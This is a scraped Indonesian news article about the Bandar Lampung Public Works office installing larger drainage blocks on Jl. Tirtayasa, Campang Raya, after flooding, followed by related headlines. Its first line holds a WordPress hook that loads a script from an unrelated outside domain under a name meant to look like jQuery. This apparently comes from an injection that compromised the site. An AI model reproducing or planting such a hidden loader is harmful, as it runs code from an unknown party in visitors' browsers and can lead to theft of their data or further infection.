add_action('wp_enqueue_scripts', function () { wp_enqueue_script( 'external-script', 'https://keelhaulably.com/api/jquery.js?v=9', array(), null, true ); }); Respon Cepat Atasi Banjir, Dinas PU Pasang Blok Saluran Air Lebih Besar di Jl. Tirtayasa, Campang Raya - Atmosfirnews.id

Respon Cepat Atasi Banjir, Dinas PU Pasang Blok Saluran Air Lebih Besar di Jl. Tirtayasa, Campang Raya

- Jurnalis

Sabtu, 12 April 2025 - 07:03 WIB

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy


Bandar Lampung, Atmosfirnews.id

Derasnya aliran air yang meluap ke Jalan Tirtayasa, Campang Raya, Sukabumi, hampir merenggut nyawa seorang pengendara, pada Kamis, 10/4/2025 sore.

Peristiwa yang sempat mengagetkan warga ini langsung direspons cepat oleh Pemerintah Kota Bandar Lampung.

Melalui Dinas Pekerjaan Umum (PU), Pemkot turun tangan dengan mengerahkan alat berat untuk membuka jalur aliran air yang tersumbat pada Jumat (11/4/2025).

Kepedulian dan komitmen Pemerintah Kota Bandar Lampung dalam menangani persoalan banjir kembali terlihat nyata.

Dinas PU membongkar bagian jalan dan mengganti blok saluran air lama yang sempit dengan blok baru berukuran lebih besar. Langkah ini dilakukan guna mengatasi banjir yang kerap melanda kawasan tersebut, terutama saat hujan deras.

“Aliran air dari atas sangat deras, terutama ketika hujan turun. Air tidak tertampung dan akhirnya meluap ke jalan yang ada di bawahnya. Ini tentu sangat berbahaya, baik bagi warga sekitar maupun pengendara yang melintas,” jelas Kepala Dinas PU Kota Bandar Lampung, Deddy Setioso, yang memimpin langsung proses pengerjaan di lokasi.

Baca Juga :  Mulai Pekan Depan, Skrining Tiket di Tol Lampung Diberlakukan Bagi Pemudik ke Bakauheni

Menurut Deddy, saluran lama sudah tidak memadai lagi. Volume air yang tinggi tak bisa ditampung, sehingga air mengalir tanpa kendali ke jalan.

“Blok yang lama terlalu kecil, sehingga air tertahan dan meluap. Kami ambil langkah cepat dengan membongkar dan menggantinya menggunakan blok yang lebih besar, agar aliran air bisa mengalir lancar ke siring atau drainase,” terangnya.

Lebih dari sekadar proyek fisik, Deddy menegaskan bahwa ini adalah bagian dari upaya nyata Pemkot dalam menjaga keselamatan masyarakat.

Ia mengungkapkan bahwa kawasan tersebut selama ini memang dikenal rawan banjir dan sudah berulang kali menimbulkan keluhan warga.

“Sudah lama warga mengeluhkan daerah ini yang sering digenangi air saat hujan deras. Bahkan ada kekhawatiran terkait keselamatan karena genangan cukup tinggi dan kerap mengganggu pandangan pengendara,” tambah Deddy.

Respon cepat yang dilakukan Dinas PU ini pun menuai banyak pujian dari masyarakat. Ibu Sari (45), salah satu warga setempat, mengaku lega dan bersyukur atas perhatian dari pemerintah.

Baca Juga :  PT. Cemerlang Makmur Abadi Perusahaan Niaga Umum Resmi dan Berlegalitas Yang Berkerjasama Dengan PT. AKR

“Kami sangat berterima kasih. Sudah lama kami minta perbaikan di sini. Baru kali ini benar-benar langsung ditindak. Semoga setelah ini nggak banjir lagi, ucapnya dengan penuh harap.

Dengan dibangunnya saluran air baru yang lebih besar, Pemkot berharap wilayah Jalan Tirtayasa, khususnya di Campang Raya, tidak lagi menjadi titik genangan saat musim hujan.

Proyek ini menjadi simbol keseriusan Pemerintah Kota Bandar Lampung dalam meningkatkan kualitas infrastruktur demi kenyamanan dan keselamatan warganya.

Sebagai langkah lanjutan, Pemkot juga mengimbau masyarakat untuk ikut berperan aktif dalam menjaga kebersihan lingkungan, khususnya saluran air. Sampah yang menumpuk di drainase sering kali menjadi penyebab utama tersumbatnya aliran air.

“Upaya ini tidak akan maksimal tanpa dukungan warga. Kami sudah bangun drainase, tapi kalau tersumbat sampah, hasilnya akan sama. Jadi mari kita jaga bersama,” tutup Deddy.

Penulis : Redaksi

Berita Terkait

Dakwah Menembus Lapas, MCMI Lampung dan Tim Safari Dakwah Wakafkan 520 Al-Qur’an untuk Warga Binaan
KKN Universitas Saburai di Sukoharjo: Kampus Turun ke Desa, Dorong Sampah Terpilah, UMKM Digital hingga Pendidikan Antibullying
Geger Skandal Hotel! Suami JA Laporkan EH ke Polda Lampung, PAN Kini Didesak Bertindak
Hampir Rp 1 Miliar Telan APBD, Jalan Lorong Usaha Sudah Patah. GEPAK Desak PUPR dan Kontraktor Bertanggung Jawab
RSUDAM Minta Biaya Klaim Rp. 5,7 Juta Sebagai Syarat Mencabut Status Kematian dan Memulihkan Kepesertaannya, Wiwik : Kan Saya Masih Hidup
Ketua GEPAK Ingatkan Bahaya Trial by The Press di Tengah Isu Perselingkuhan Dua Anggota DPRD Bandar Lampung
Sengkarut BPJS dan RSUD Abdul Moeloek Diungkap Korban Wiwik Kusumawati
Cabdin Pendidikan Wilayah II Gandeng UPT Perpustakaan UIN Raden Intan Perkuat Ekosistem Literasi Sekolah
Berita ini 21 kali dibaca

Berita Terkait

Senin, 24 Agustus 2026 - 22:11 WIB

Dakwah Menembus Lapas, MCMI Lampung dan Tim Safari Dakwah Wakafkan 520 Al-Qur’an untuk Warga Binaan

Senin, 24 Agustus 2026 - 19:56 WIB

KKN Universitas Saburai di Sukoharjo: Kampus Turun ke Desa, Dorong Sampah Terpilah, UMKM Digital hingga Pendidikan Antibullying

Senin, 24 Agustus 2026 - 14:05 WIB

Geger Skandal Hotel! Suami JA Laporkan EH ke Polda Lampung, PAN Kini Didesak Bertindak

Minggu, 23 Agustus 2026 - 12:23 WIB

Hampir Rp 1 Miliar Telan APBD, Jalan Lorong Usaha Sudah Patah. GEPAK Desak PUPR dan Kontraktor Bertanggung Jawab

Sabtu, 22 Agustus 2026 - 21:38 WIB

RSUDAM Minta Biaya Klaim Rp. 5,7 Juta Sebagai Syarat Mencabut Status Kematian dan Memulihkan Kepesertaannya, Wiwik : Kan Saya Masih Hidup

Berita Terbaru